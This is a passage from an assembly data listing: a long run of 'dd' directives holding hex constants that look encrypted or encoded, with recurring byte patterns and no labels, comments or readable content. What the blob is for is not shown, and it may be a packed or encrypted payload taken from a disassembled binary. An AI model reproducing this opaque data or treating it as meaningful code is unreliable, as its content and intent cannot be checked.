0FDA1B128h, 0F9BCAA59h dd 6FAA638Ch, 808B539Dh, 0E20E906h, 8731CE28h, 0BE60DA7Ch dd 8A895F8Ch, 0A851494Dh, 0C037E227h, 0CDF1EE1Fh, 789E4B42h dd 0E873CEC2h, 29968595h, 0AF26DD0Bh, 6E504FAh, 0E28CE03h dd 0E873CE30h, 29968595h, 0F2011512h, 88684FCCh, 86116C87h dd 5F8E2996h, 8C458C7Bh, 88856A55h, 7CC25405h, 6F8A6FD1h dd 0AF000016h, 0A77AAC5Dh, 23303794h, 2996375Ah, 4FDF2AD7h dd 8C31CEE9h, 617E6D81h, 608A75ACh, 74BD4871h, 0B086A881h dd 46CEBE82h, 0C28E6CCFh, 0A3A64893h, 299683E1h, 0CE5BED92h dd 6E808B31h, 0A6B2438Fh, 4D2F53CAh, 4EC11D9Ah, 0C3259247h dd 472AE40h, 0D400000Ah, 95E873CEh, 0B299685h, 0F4A528DFh dd 4E011512h, 2996E672h, 0A8618CA3h, 8B31CE78h, 15986D4Eh dd 51088D44h, 7A8524BDh, 6940B552h, 962C4983h, 0A747238Bh dd 0CEB78991h, 0D2AD8346h, 0A94D8915h, 0A14AB58Ch, 0BB527B64h dd 7CCF5F3Ah, 29958A01h, 0A158817Eh, 958A0772h, 77978429h dd 8D31CEC1h, 65C26C82h, 1F96735Ah, 9D704D4Ah, 31CEC379h dd 0DB6E808Bh, 4D25DC56h, 55B019A6h, 618C7BC1h, 0BA9B71A8h dd 8A51517h, 0D1251B3Bh, 0F7829168h, 74299685h, 0CED16787h dd 777E8931h, 4AF94AA2h, 58B8BE74h, 769537B6h, 828B34CBh dd 31CEC66Ch, 0FA83908Bh, 77299685h, 36AF3F8Ah, 0EC8DCE73h dd 69299685h, 0A3D685BCh, 20299685h, 8C6DD363h, 0E19CB760h dd 5E299685h, 88B168A1h, 9685B2CBh, 9A722F29h, 0A6503F85h dd 0E84EE0F9h, 4355B782h, 83720010h, 0CEB48AACh, 6F7F8A31h dd 1D86C5DCh, 4F0C35A9h, 0AA0F842Eh, 0DB01FEABh, 4AECBD30h dd 8931CEF4h, 6469A24Ch, 0A0797CB5h, 9C7B5F8Eh, 9685FE7Fh dd 118E7B29h, 73955CA7h, 6D4F68D1h, 28F4DB81h, 559C0512h dd 608C7BC1h, 8CDE55B7h, 0C6A5AA5Dh, 95B64435h, 0DC4C129h dd 0D902EBD4h, 0C59419F4h, 3ED0890Ch, 8A31CEF8h, 0BA766F7Fh dd 20C7EDE8h, 3702FC8Bh, 4AD11FC0h, 4FE1914h, 39FF0FDAh dd 7C8731CEh, 763F2BDAh, 7C8731CEh, 58AF1BDAh, 0E873CEA8h dd 29968595h, 45AA1512h, 320C26C8h, 7D8831CEh, 23B21AD9h dd 886154BBh, 0BE829F41h, 95E873CEh, 12299685h, 4E2FEC15h dd 0CB299685h, 611538DEh, 26299685h, 5777628Ch, 7B7C71B8h dd 9E36B74Eh, 3FC39BC7h, 0AC46CE09h, 8FA1A99Fh, 0DA08F717h dd 0A7608C1Bh, 8D31CE79h, 53B61582h, 279079C3h, 944548C7h dd 608CBC82h, 0BE8279A7h, 6A586E8h, 76A55C50h, 3266603h dd 0CD738380h, 23AA638Ch dd 686D9644h, 887965A0h, 0AC0A23CFh, 97AB66FFh, 0CE73CEB1h dd 9685EC8Dh, 9FBC6929h, 299685DEh, 7988AE5Bh, 9636C16Dh dd 9EBD7C71h, 299685DBh, 0D066AB58h, 0A7608C6Ah, 0A2658572h dd 68D1A68Ch, 85F78291h, 87742996h, 608CD167h, 31CE79A7h dd 290E7F8Ah, 954449C4h, 9077635Ch, 0CECB657Eh, 8595E873h dd 15122996h, 3FCCF201h, 8C6FD1A1h, 0D179A760h, 0A8618C6Fh dd 0A56A8671h, 31CEAB91h, 736C828Dh, 8931CEBDh, 0EF85777Eh dd 89D0ECF3h, 0D586BB76h, 299679A4h, 23D26421h, 52A752B9h dd 7A116CA7h, 918E2996h, 9679F782h, 10877429h, 82575EAFh dd 0B782C66Ch, 7E6FA040h, 0F0FEF58Eh, 0D31EDC28h, 47F9FD43h dd 8CA74E9Ch, 0F0198B61h, 7C5DC1D6h, 0AE6D1EA4h, 684F9AC5h dd 9E428788h, 802C46CEh, 0F51ABB29h, 8C39D761h, 0DF9AB962h dd 5C299685h, 0D1B66A9Fh, 0C70B6468h, 814D5916h, 31CEC76Dh dd 5C0D808Bh, 860376A5h, 83802996h, 0B0598473h, 0E8BE8290h dd 96F98C6Ch, 9C9BAD7Dh, 0B217A04Eh, 87806C53h, 31CED167h dd 7F6E808Bh, 0D17BAD5Ch, 9D6C4F68h, 78564118h, 0A7472293h dd 8A31CE91h, 0BB5B0E7Fh, 0C878913Ch, 95E873CEh, 12299685h dd 41E80115h, 85225BF8h, 0E29F2996h, 72E8E64Ch, 77C43709h dd 30A55E8Ch, 9435A647h, 9535B871h, 5A846876h, 64E278B1h dd 2CA04E9Ch, 2768C049h, 39FF0F60h, 7C8731CEh, 69B01BDAh dd 9685CFAAh, 9A4F4C29h, 8A31CE66h, 50996C4Dh, 0D06A8C5Dh dd 0C946CE6Eh, 0AD5C7F3Ah, 0F8C27C47h, 0D7369756h, 413CD722h dd 0BE2995B2h, 82072DC1h, 0A4D7E8BEh, 2112394Ch, 0A74E9C1Fh dd 5278638Ch, 0D1C878B1h, 0E046468h, 0AC21E208h, 0A69317FDh dd 0CE8FA549h, 787D8831h, 815E8DA1h, 46CE5C8Ch, 7D51EC04h dd 0FAF303FAh, 0D7A4DD2Fh, 9B4431AFh, 46CEC57Bh, 370CF751h dd 0B03FCF4Eh, 0D54DF0Dh, 2887FCF3h, 0F5806CC4h, 9F6A15AEh dd 0EFBE8281h, 6046CE59h, 0CF74FDE4h, 0A3D685BCh, 202995CFh dd 2634D363h, 0AA638C8Fh, 0E873CE76h, 29968595h, 37011512h dd 8731CED9h, 8EA0797Ch, 49727E5Fh, 0CC3B9FC3h, 0EEBC10C9h dd 0D281B806h, 2995D6A7h, 8EB27724h, 0D182B782h, 299685A8h dd 65AA4625h, 0C970B970h, 9685EF8Ah, 9FAF6C29h, 0A4D7E899h dd 0EF12394Ch, 0E0107A52h, 2E1402FDh, 4E9C3208h, 8D31CEA7h dd 607D6C82h, 8ECD74ADh, 299685EBh, 0A59BBB68h, 694F68D1h dd 0B046139Ah, 5CB0898Ah, 8FB2DA97h, 0AB55EE2Dh, 6F2917D0h dd 829E94BAh, 0A8618CBEh, 0A1668671h, 63D97D2Ch, 7AC76FD1h dd 28AD607Dh, 85A7D281h, 77242996h, 0CE969CB2h, 2A828D31h dd 2ECF55E6h, 8DC0569Fh, 2995AFECh, 5BB21BA4h, 0C96F7F5Ah dd 24A9628Ch, 81749B43h, 8D604E3h, 0BBC74DF2h, 0A324A405h dd 0CEBE749Ah, 73F9EA46h, 1A3C27E0h, 0CE36FFEBh, 6B4F8C31h dd 856A559Ch, 0C2540588h, 31CEC967h, 5D0C818Ch, 87943AB9h dd 9685B1CCh, 0B8712E29h, 1F368B81h, 0C388DDC1h, 0B7820D33h dd 0D1D97255h, 63F3E28Dh, 0A173CEDDh, 0FC263E9Dh, 0D4A5B6C1h dd 512995B1h, 8733C254h, 46CE6080h, 8136D77h, 29963D75h dd 0B5DF35F2h, 469FAF92h, 0AE14E8AAh, 46CE9A83h, 235A6BFBh dd 79BF4F00h, 79A7608Ch, 6C4F68D1h, 0AD41189Dh, 0E873CE87h dd 29968595h, 0F2011512h, 33BE20CAh, 1A9EF20Bh, 308D2ACFh dd 0CE0339DDh, 0B828D31h, 912FB85Eh, 8E8931CEh, 9685ACCDh dd 0B57C2929h, 26C56940h, 0D1A543C8h, 82B7896Fh, 0F546CEBEh dd 0B5A5603Eh, 0C63742D1h, 0C7B42995h, 0DDFDEC02h, 0E605D8F8h dd 523EE23h, 46CE6FD1h, 0D58341DAh, 0B1F2FB2h, 0E873CEEDh dd 29968595h, 0BABF1512h, 0DA89D5F5h, 710C3FCFh, 302995ABh dd 4E9C59EFh, 0BFBA59A0h, 3C299685h, 0CE89AF3Fh, 6D818C31h dd 638C73B2h, 0CEAE84AAh, 0A34C8931h, 7BB6636Ah, 608F9F7Ah dd 825B8D7Eh, 936ECBBEh, 9685F588h, 0A1B57229h, 8C73CE9Bh dd 0F28BA861h, 6F299685h, 28AD5E80h, 6796B871h, 68D1BA7Bh dd 369E6D4Fh, 79D3F1AAh, 0ED53E307h, 70A9628Ch, 85EF8AC9h dd 6CA72996h, 29968611h, 702D918Eh, 0B78258DEh, 85A8D182h dd 1B332996h, 0C926496h, 0A94D3AACh, 0D94AE893h, 61985DB1h dd 7B31C7B2h, 0B75744F5h, 0CC40F981h, 2DE9F76h, 0A4C2A70Dh dd 9CDE54FAh, 0B217A04Eh, 67876253h, 0A9628CD1h, 0EF8AC970h dd 6C299685h, 0CE999FAFh, 777E8931h, 85A28CA2h, 623C858Fh dd 6A8C49B6h, 77628CD4h, 0CE72B756h, 3555B782h, 8BB60E6Eh dd 0F194AA4Ch, 0CB0477Fh, 0C8E55BFBh, 0F28BC871h, 6F299685h dd 0CE969CB2h, 777E8931h, 719435A2h, 7A89AD7Ch, 9735C26Ch dd 8C5CE274h, 0D177A962h, 9D6C4F68h, 37E8C379h, 0B229969Fh dd 3DBA638Ch, 0B2CB689Bh, 2F299685h, 8A82B772h, 43B40B39h dd 85BB5B0Dh, 618CBE82h, 78B15676h, 8638A475h, 7C8731CEh dd 0A18EA079h, 96860772h, 69978429h, 46CE6FD1h, 93005755h dd 0E86B8B7Fh, 72D8BAE7h, 8D638C02h, 0F31BBBD0h, 1030F9D9h dd 165246CEh, 85728F0Bh, 0A00B072Fh, 7A9C9642h, 638C5EC0h dd 7DB45578h, 40B782CBh, 6FC5699Ah, 4D8A31CEh, 46139A6Dh dd 0BF4F0A8Bh, 0EE01328Ch, 608C6F35h, 974126A7h, 859EDF7Ch dd 6E1B2996h, 0ABDA32A3h, 0B465DFBFh, 6469A04Bh, 0AECF8CB5h dd 2B299685h, 9C62D87Eh, 0B317A04Eh, 66886154h, 0AA638CD0h dd 4F68D176h, 0C3799D6Ch, 5278638Ch, 0A46D3CB1h, 0E8BE8284h dd 3C7167EAh, 2BDAFFF8h, 618C350Bh, 994225A8h, 1CEB696Ch dd 5C1D10CEh, 688E7563h, 0E873CED2h, 29968595h, 0B529E00Bh dd 8BD726C8h, 18F1DCE3h, 0C32C495h, 6FAA638Ch, 2CA16288h dd 0D163D97Dh, 0E873CE6Fh, 29968595h, 0F2011512h, 82A13FCCh dd 9E46CEBEh, 0AFCEB7FDh, 1CC130C6h, 0D0275201h, 0F7A42995h dd 0FD07BE15h, 0A66BEDC5h, 9339C67Bh, 97A47578h, 29959DE6h dd 0AA90A663h, 548446CEh, 0FAFB14BCh, 0F2EFCD1Fh, 0D46C7599h dd 31CE1F21h, 29D87E89h, 73CE783Dh, 968595E8h, 1151229h dd 9A3FCCF2h, 474EC11Dh, 0CEB67C92h, 8595E873h, 15122996h dd 8CD93701h, 9D6FAA63h, 0ACB20619h, 104BF65Dh, 29960E6Dh dd 23193DEAh, 3B9168D1h, 0EE744A1Bh, 720B28B0h, 0EF2995A1h dd 0A429DA00h, 241A3CF5h, 4A8731CEh, 0B87164A1h, 89AD7C71h dd 5188856Ah, 4CE0B7Bh, 49ED0911h, 40B782F3h, 9DE07B9Ch dd 1A299685h, 7831A46Dh, 31CE60D6h, 7D6C828Dh, 9F75AC5Fh dd 0F34DE782h, 99379D1Ch, 5C2CE6DFh, 824AF006h, 0A8D182B7h dd 25299685h, 8C60D678h, 4423AA63h, 9682739Ch, 0D9BB636Fh dd 0A04E9CD7h, 0B658B717h, 78638C80h, 0B15A8457h, 0AE5D7F78h dd 89B77227h, 3B9168D1h, 71CEB3C1h, 7FFA19A1h, 0FC299661h dd 8C49EFFFh, 0E29BB861h, 5F299685h, 0A1B267A2h, 299685D8h dd 8B2CA855h, 0C3371889h, 1D31554Bh, 8731CE17h, 8EA0797Ch dd 628C9B55h, 85DF9AB9h, 73552996h, 5A4C1D90h, 0D1C464ADh dd 8731CE6Fh, 8EA0797Ch, 856A559Ah, 0CED06688h, 797C8731h dd 0C2BB8EA0h, 7A299685h, 739438BFh, 968595E8h, 1151229h dd 0AA638C3Bh, 6F984423h, 0CA18EF7Eh, 8310E14h, 9685324Bh dd 5CF2AF29h, 0E873CED6h, 29968595h, 2011512h, 80C021D4h dd 4B8831CEh, 2DA069A0h, 1F19DA7Ch, 6000000Ch, 16977657h dd 0CE8DB343h, 0F924646h dd 88AEAF56h, 95CF1BC5h, 31CE0C29h, 7F6E808Bh, 0CE90B05Fh dd 0D808B31h, 8831BA5Ch, 94B54584h, 77561A4Eh, 0BF755792h dd 56573CB5h, 8979BF4Fh, 8C31CEB7h, 85F78291h, 87742996h dd 789E4B42h, 85DDA0BBh, 0AD5A2996h, 8C73CE7Bh, 0F089AA63h dd 66299685h, 57128388h, 0F089CA67h, 6D299685h, 5BD579B0h dd 927AC7C5h, 0D08F0A36h, 241A3CBCh, 968595E8h, 8B24D29h dd 21E55BFBh, 0ADA0B418h, 6EE17C4h, 5C4380B7h, 4A1F966Fh dd 46CE8EA4h, 498117D4h, 1964EF9Dh, 9629958Dh, 0EF0E20E9h dd 65F64BE3h, 29958D14h, 0A7AD7791h, 0A03FEA4Ah, 0CE6FC569h dd 0DA7C8731h, 0AF0DAA4Fh, 6E80595Ch, 8731CEC8h, 8EA0797Ch dd 31CE5C9Ah, 5B0E7F8Ah, 9685BDC0h, 4A484829h, 653B9B11h dd 66188481h, 95E873CEh, 12299685h, 0D340115h, 85562734h dd 0D6D32996h, 856C0D40h, 0AE92996h, 40E029E6h, 6B4F68D1h dd 860E6FACh, 9E8B2996h, 897DC353h, 0AFCA89B0h, 2C299685h dd 8259DF6Fh, 0CA1055B7h, 0AF68252Bh, 67B0C98Ah, 702D2996h dd 31CE58DEh, 5E0B828Dh, 85E495B8h, 659C2996h, 9685C3B6h dd 0B3434029h, 0A7608C8Dh, 6C974126h, 3C2AE169h, 9C6AD862h dd 5F8CA74Eh, 0CE8836A6h, 0EC8DCE73h, 69299685h, 0C6B79ABCh dd 43299685h, 8831AC14h, 0CB7DB47Dh, 7C8731CEh, 0A48EA079h dd 8B31CE8Ah, 5F7F6E80h, 85EA93C0h, 0BA672996h, 0E042CA6Fh dd 0FD937DAFh, 0D1C3799Dh, 0E873CE6Fh, 29968595h, 0F2011512h dd 5DAC0FCEh, 0B7827494h, 7E6FA040h, 0CEB58BABh, 8595E873h dd 15122996h, 852B4E01h, 8CEA2996h, 0B1567661h, 31A46D3Ch dd 6C61A646h, 2AAB628Bh, 3624EB6Fh, 0CE74D268h, 0A7608C73h dd 95E87326h, 12299685h, 8583F625h, 3002996h, 8DD928CEh dd 8E648CE8h, 1B30FFh, 2995F17Dh, 3EA70DFAh, 86BB76B5h dd 0F15FF48Eh, 4DE18867h, 8D31CEE7h, 6CC26C82h, 818C31CEh dd 90627E6Dh, 0DD0157CBh, 6EEBB32h, 55761652h, 0A56C3DB0h dd 31CEBC6Ch, 746D818Ch, 8595E8BCh, 8C542996h, 4225A861h dd 0DD7D709Dh, 167E202Eh, 0A84AA611h, 0A086370Bh, 7F8F5A3Fh dd 0A74E9CB9h, 7E8931CEh, 5AB519D8h, 8A31CEA6h, 645B0E7Fh dd 4722937Ch, 89B38DA7h, 82B782B7h, 9685A8D1h, 0D6782529h dd 79648C60h, 0C871B853h, 0B595AC44h, 60F678AAh, 8CBE82DAh dd 8D2AAA63h, 85D6A7B4h, 66532996h, 9685C4B5h, 8D444129h dd 31CED369h, 5E0B828Dh, 0A1E07BB8h, 16299685h, 31CEB769h dd 5B0E7F8Ah, 8C9F81BBh, 2E228E64h, 48F88CBh, 31CE1BCDh dd 67A04C89h, 0CD612BA2h, 31667655h, 67D165ACh, 82B789C9h dd 8C80C0BEh, 7F527863h, 0AB66AB5Ah, 0AA658976h, 31CEAE84h dd 746D818Ch, 0CEB789BCh, 823DA173h, 0CD1C2586h, 3C532629h dd 0F40B2996h, 60AB11CCh, 7A8F2EA9h, 6890A673h, 507986BBh dd 0CE9BA1B5h, 8595E873h, 15122996h, 0E8D93701h, 2996F6D6h dd 0A8618C13h, 8CBE8278h, 903AA55Eh, 0CEB78973h, 9685EC8Dh dd 0BE5DA429h, 299685BBh, 53AB4B38h, 31CEB256h, 0A2777E89h dd 8F85A28Ch, 0E521FBC6h, 0E55BFBD3h, 968595E8h, 73CE5429h dd 968595E8h, 1151229h, 0A3ECBF2h, 628C6FD1h, 0FCBC43A9h dd 7A7CDABh, 31CEF38Dh, 0BF6C828Dh, 0E994BF7Ah, 66299685h dd 0C7B295B9h, 7F299685h, 42B35478h, 722FC767h, 1546CECEh dd 0D8AC4096h, 710C47F2h, 0EE2995E9h, 25C41D31h, 2EA781AFh dd 0DA7CCA46h, 9097E864h, 0B44B599Eh, 0E258FE07h, 4E9C1F21h dd 324CA1A7h, 6FD6A577h, 0A460B485h, 0B7EF9D26h, 0CDF084DCh dd 0FB36B05Ah, 8DCEE55Bh, 299685ECh, 0DAC39F69h, 78A4640Ch dd 0B57CB556h, 4E46CE93h, 4FAB0766h, 0E370BD51h, 29965F9Ah dd 82856552h, 6997846Ch, 0B7896FD1h, 0EAE946CEh, 378BDF74h dd 5FEF20C0h, 8B3841D2h, 0C8B52995h, 8831CE18h, 8DA1787Dh dd 0C12A9554h, 76985144h, 0B646CEC0h, 0BA909F81h, 1397BA5Ch dd 71A7EBD3h, 2E9F6486h, 6568A349h, 63D97DB4h, 26A7608Ch dd 696C9741h, 7D703F4h, 31CE8B25h, 15987C87h, 0D059A455h dd 2432D165h, 3A0D828Ah, 0BA3094D8h, 0B7899E94h, 4B8146CEh dd 5E3108DCh, 39C67BB8h, 0B5747994h, 9620D3A6h, 9E535029h dd 20A4D578h, 64212996h, 0AF0457BDh, 624ABF1Eh, 0A5497BF1h dd 0EC8DCE8Fh, 0A4299685h, 37786A30h, 789E1EF6h, 0D1658380h dd 0A06F4F68h, 196A504Ch, 2EC0EB18h, 0CEB78908h, 0A31A173h dd 862A6C9Ah, 2A9CDD70h, 6C192996h, 0CEBE82BCh, 0B5C7A846h dd 0ED01C897h, 193ADFFEh, 29958860h, 37E920DDh, 623A46CEh dd 3F6F8523h, 0EF7A36AFh, 4746CE59h, 0F208160Dh, 91BD3CD2h dd 0EC8DCEE4h, 69299685h, 0CE7E40BCh, 9685EC8Dh, 85BC6929h dd 35B8557Ah, 0CE6CD264h, 8595E873h, 15122996h, 340D3401h dd 0E3EA21CBh, 85542536h, 0D4D12996h, 8607FEEBh, 6D1043D3h dd 25299685h, 0E9D6339Ah, 8F00601h, 68D1ED1Bh, 85FA9C64h dd 3BDBCF25h, 8C31CE05h, 607E6D81h, 0BE827DABh, 0ECADC2E8h dd 0CAC20A7h, 8604A5AAh, 65EE8FCCh, 0BE6BAB40h, 8C5DE373h dd 0D177A962h, 0A65F8C6Fh, 0B0C98A2Fh, 2D299685h, 7E3BB970h dd 9A735096h, 96340079h, 2C807D29h, 0F8DF50E7h, 0EDBC31D2h dd 8DCEF349h, 299685F0h, 0CE88B865h, 0E7F8A31h, 8732BB5Bh dd 64A745B2h, 0E29BB871h, 5F299685h, 8CA68CA2h, 63838C62h dd 0F277336Eh, 0F0C4F85Eh, 9F6AFAD4h, 60C1927Ah, 935E9BFCh dd 0BE82BD83h, 26A7608Ch, 676E9941h, 2E3E2CE3h, 0A475788Dh dd 4F68D56Dh, 0C6DAE6Dh, 89299686h, 6FAC559Ch, 2996860Eh dd 0C2789E8Bh, 95E873CEh, 12299685h, 0D4020115h, 0CEB78921h dd 0AB648C73h, 85B9C88Bh, 4E692996h, 8083656Ch, 20955C0Dh dd 504DA549h, 3DAF0EA9h, 0E6C8BBCBh, 5459903Fh, 0CECB7185h dd 0F4E76946h, 2BCBE053h, 0D02C4D0Eh, 0FCA92995h, 0F916BA45h dd 31CEDF55h, 0B95A7F8Ah, 299685C0h, 84AE403Dh, 3DB31CA3h dd 0E1F2A699h, 0FDF03991h, 6593C82Ch, 59FA51BEh, 46CE7FB5h dd 0CB7692h, 8B6A8C58h, 886FAA61h, 0AC92A465h, 828D31CEh dd 0CCAD6E0Bh, 49299685h, 0B781955Ch, 735E8C59h, 0D40DC44Bh dd 0DB28922Dh, 96853D40h, 29CDBA29h, 8CBE8213h, 0DD058C62h dd 0F9127E4h, 37981FDAh, 82FA40D6h, 8B31CEBEh, 0BA5C0D80h dd 9D86CC97h, 31CEBF80h, 1AD97D88h, 0CEA957B4h, 797C8731h dd 8AA48EA0h, 77A9628Ch, 46CEBE82h, 5ABE049Fh, 6AA95040h dd 2996210Fh, 0CC7F8F8Ch, 299620AEh, 0A8618C73h, 6D9A4225h dd 0B05F7F68h, 0ED086C3Dh, 5C5C3DE1h, 59A04E9Ch, 9685BFBAh dd 0B00D3C29h, 4881585Dh, 628C90A6h, 4D0AA48Ch, 7562AD26h dd 6A3FB659h, 6FD1819Fh, 70A9628Ch, 2BA26187h, 8262D87Eh dd 2E46CEBEh, 0C2BF2702h, 0A2EE61F5h, 2C0296ADh, 0F47590A8h dd 7FD73DC6h, 0FB41D56Ah, 4E9C59EFh, 0BFBA59A0h, 35299685h dd 0A8817497h, 8FA54936h, 1C8C628Ch, 28510256h, 0A5299656h dd 0C2A14F8h, 3BC47DB4h, 61D7778Eh, 628C6FD1h, 85DF9AB9h dd 7C972996h, 29968601h, 601D817Eh, 8AC970A9h, 299685EFh dd 999FAF6Ch, 4A8731CEh, 89AD64A1h, 5E8CA060h, 68D183A5h dd 85F78291h, 87742996h, 628CD167h, 0F7C3FA8Ch, 0B970E7A4h dd 0A16FD187h, 6E8F3B34h, 51269673h, 6B6097Bh, 0E40A35F0h dd 8831CE4Eh, 8DA1787Dh dd 73A059A0h, 2996860Ah, 35A95A80h, 0DEA3A648h, 53299685h dd 5029AB56h, 86134BC7h, 0A168A747h, 0BE82A78Dh, 7F8A31CEh dd 0A95A806Fh, 0EF8AC970h, 65299685h, 601D8184h, 85DF9AB9h dd 9F5C2996h, 0BE82A98Fh, 26A7608Ch, 7C719C41h, 16C816F1h dd 23C82F0Ch, 0D63EEBE2h, 0A10CF631h, 73C96D1Bh, 0CEA74E9Ch dd 9685EC8Dh, 40BC6929h, 0F08DCE7Eh, 65299685h, 85F28BC8h dd 0B26F2996h, 73CEC977h, 0B15D12A1h, 0F9E6EEDAh, 2D2036D1h dd 2995CF4Ch, 0DC25DCC9h, 95CF3E3Fh, 28CEBB29h, 4F68D112h dd 0BE1D9A69h, 7F8F4A4Bh, 0A55E8CB9h, 0C4F1987Ch, 0EE81B8C0h dd 6FD1F248h, 7C8731CEh, 0BC516E79h, 85A96039h, 5E828766h dd 0EC9746CEh, 3BB33FC6h, 89FF211Bh, 35A647B0h, 0AE7B7295h dd 97B77263h, 0E873CEA1h, 29968595h, 0E8011512h, 0D0FCCB41h dd 8ECFA67Bh, 51924426h, 0DD719617h, 0AA638C57h, 0E9AE9D6Fh dd 3FDCA91Dh, 73CE89AFh, 968595E8h, 6B0E4D29h, 0E8299685h dd 2DEECB3Bh, 2996854Ch, 115DCC9h, 5E8CD937h, 59837CA5h dd 82969CB2h, 8C81C7BEh, 7524A962h, 0BE82B987h, 0A6B55E8Ch dd 299685D3h, 4EB92150h, 0D19A4E83h, 1B7A6468h, 0EDE02D92h dd 7B5BD83Ch, 0CEDD63F3h, 0D48F8946h, 688EFDC8h, 0D58B6389h dd 4E4C2298h, 0CE8DBB76h, 6C828D31h, 46CEBD73h, 3D33522Ah dd 63C767DEh, 0A9628CA5h, 9168D177h, 9685F782h, 0BD506D29h dd 84BA5C49h, 5377628Ch, 3EAF5C82h, 0B66BA66Bh, 2648A049h dd 0EA12335Bh, 9B4E3F8Ah, 0C9C4B566h, 44412995h, 31CE8CB2h dd 0A2777E89h, 0E89D538Ch, 29968595h, 1667F44Dh, 8C299685h dd 7A2FA65Fh, 0C1779784h, 4E9C59EFh, 230B2CA0h, 0C68BECA6h dd 628C0A30h, 8AC970A9h, 299685EFh, 0A85B7D6Ch, 0B2577661h dd 72C86E3Bh, 0B3A173CEh, 5317101Ch, 631964EFh, 0E9962996h dd 0CE55EB45h, 0E89B6D46h, 0B2446FEAh, 0CE729943h, 7D8831CEh dd 548DA178h, 47C42A95h, 46CE91A7h, 59CF8E86h, 30233394h dd 2996444Dh, 0A55E8C0Ch, 68A74730h, 7E6CA365h, 5CA59AA0h dd 9685BEBFh, 6254929h, 0E29EE82Eh, 49EFFFFCh, 7D8831CEh dd 6E8DA178h, 8C31CE60h, 8CC76D81h, 0CE77A962h, 8595E873h dd 15122996h, 0FAD23701h, 0E5D18044h, 0C57B9BDFh, 818C31CEh dd 79607E6Dh, 0E396C550h, 60299685h, 7EA36EA3h, 3EAF5A81h dd 0CE75CB6Bh, 0DA7C8731h, 30646811h, 0B8CAE99Ah, 8C6AD066h dd 0F1D78E64h, 2ACDB016h, 821EEEDFh, 53D24BC9h, 0BB856FBAh dd 9AA173CEh, 68792981h, 0E19CAF3Fh, 99299678h, 434ABF1Eh dd 59788096h, 49209570h, 0BE826080h, 77A9628Ch, 6B6468D1h dd 5617B6D7h, 89CD7383h, 0AFCA89B0h, 2C299685h, 0A2759D6Fh dd 0B9CEB15Eh, 8DCE9F95h, 299685ECh, 0BC85BC69h, 81749B43h dd 85F28BA8h, 0B26F2996h, 6F66A945h, 0D19E94BAh, 9A694F68h dd 8AB04613h, 617E79C0h, 0DE7029ACh, 0A55E8C58h, 0E396C57Ch dd 60299685h, 0CDC04B71h, 0FB41D51Ch, 808B31CEh, 75635C0Dh dd 0C17F688Eh, 968595E8h, 59EF5429h, 17A04E9Ch, 4FC020B1h dd 0CEBE749Ah, 8595E873h, 15122996h, 3BC8F201h, 6468D10Dh dd 0DBA43C75h, 0ED53E33Fh, 7CA55E8Ch, 9FAF5683h, 0CEBE8299h dd 33162A46h, 0BF4F1A55h, 962AF18Ch, 0B00EA929h, 0EF85BB5Bh dd 0A74E9C59h, 68885E8Ch, 0FB977172h, 4BC178B1h, 0D1F2FA85h dd 8FA549F5h, 994B46CEh, 759F9D0Ah, 89B957E1h, 0E873CEB7h dd 29968595h, 0E8011512h, 0DEFFF841h, 8559242Fh, 29D62996h dd 5E8C2F05h, 96C57CA5h, 299685E3h, 16977259h, 90A66343h dd 89BE82AAh, 66F35CB0h, 0BF21A35Eh, 8DCE092Fh, 299685F0h dd 54B317A0h, 9B4D3AC2h, 5E8C6FD1h, 6FD183A5h, 0BE82B789h dd 618C80C0h, 6D47828Bh, 87424D06h, 80836552h, 84BA5C0Dh dd 9E40B782h, 0C773C96Dh, 0C546CE81h, 66C990AAh, 0E421CA35h dd 0D138A352h, 0E873CE2Fh, 29968595h, 0D6BF1512h, 0CB56B126h dd 0B552DC72h, 6568A54Ah, 0E89CA2B4h, 2996FFACh, 77628C3Dh dd 0CC7CB554h, 0B089BE82h, 85AFCA89h, 3D2C2996h, 8F9F6A9Dh dd 0EC8DCEA9h, 0A4299685h, 8E7B625Dh, 96860C6Dh, 806A8929h dd 50A84E83h, 0A911AE53h, 6C82575Eh, 4F68D1C6h, 0A98F9F6Eh dd 7C8731CEh, 0BB8EA079h, 299685C2h, 0AE617D7Ah, 628CB288h dd 0AC493D8Ch, 9F6A0364h, 0CE6FD181h, 6C828D31h, 7DAB5E7Dh dd 0D182B782h, 299685A8h, 60D67825h, 4A8731CEh, 8DA168A5h dd 356E805Eh, 1BF2DB83h, 0C8DDD0B9h, 0F221D801h, 2995FE87h dd 91EC2704h, 0E2995FEh, 9F4D811h, 4FA7F866h, 0CE59DF6Fh dd 9B84C46h, 0AD4168B7h, 0B49F7534h, 280113A8h, 0CFC641A9h dd 0F93FCF1Ah, 2AAB648Ch, 676EA13Dh, 0B67866A1h, 9685D4A5h dd 9D545129h, 0D281B885h, 299685A7h, 61D77724h, 2CA04E9Ch dd 0ED202591h, 0DF55F96Bh, 7D8831CEh, 5E8DA178h, 7D4F8A7Fh dd 319DD06Eh, 0A197B764h, 3B9168D1h, 0E4C247D5h, 0FC7D9E4Ch dd 792995FCh, 8CD46A8Ch, 0B7567762h, 68D1CE72h, 749A694Fh dd 0AA638CBEh, 0E8BE8276h, 29968595h, 0AA638C54h, 4F68D176h dd 7C2DA06Fh, 618C64DAh, 0BE8278A8h, 808B31CEh, 3BBA5C0Dh dd 0CECD7B92h, 8595E873h, 0E10B2996h, 10F6A32Ah, 46EA0313h dd 32E11821h, 29968547h, 137D7C4h, 0CEA74E9Ch, 190C3C46h dd 39DD67F3h, 4BF613BAh, 0F3030CB4h, 0CE6FD14Dh, 0A24C8931h dd 7C2DA069h, 5BB21BDAh, 896FD1ADh, 62A147B0h, 85E19CB7h dd 0A15E2996h, 31CEA78Dh, 7317648Ch, 76538C02h, 0AE529BBBh dd 78A8618Ch, 31CEBE82h, 772818Ch, 84299686h, 49BA2097h dd 0A911AE4Bh, 6C82575Eh, 0F08DCEC6h, 65299685h, 31CE88B8h dd 0C26C828Dh, 0CE73CE6Ch, 9685EC8Dh, 9FBC6929h, 299685DEh dd 6988AE5Bh, 0D1598782h, 0F7829168h, 74299685h, 0CED16787h dd 8C74D46h, 9C5A707Fh, 8BFED6DFh, 8689651Dh, 0C080AB4Bh dd 5478638Ch, 0CECA7EB3h, 0BCDAA146h, 8CC714EFh, 299624F1h dd 9478B16Eh, 3B721147h, 9E47E747h, 0CEB789E2h, 9685EC8Dh dd 3B30A429h, 125766F2h, 0FEAB53E3h, 8C31CE4Ah, 0C22B0C81h dd 5A8F4A4Bh, 0FFA47AB4h, 67124169h, 0E4299685h, 0CE4EF237h dd 8FBAA58Dh, 18C1B02Fh, 17FD24EDh, 0BC6C8153h, 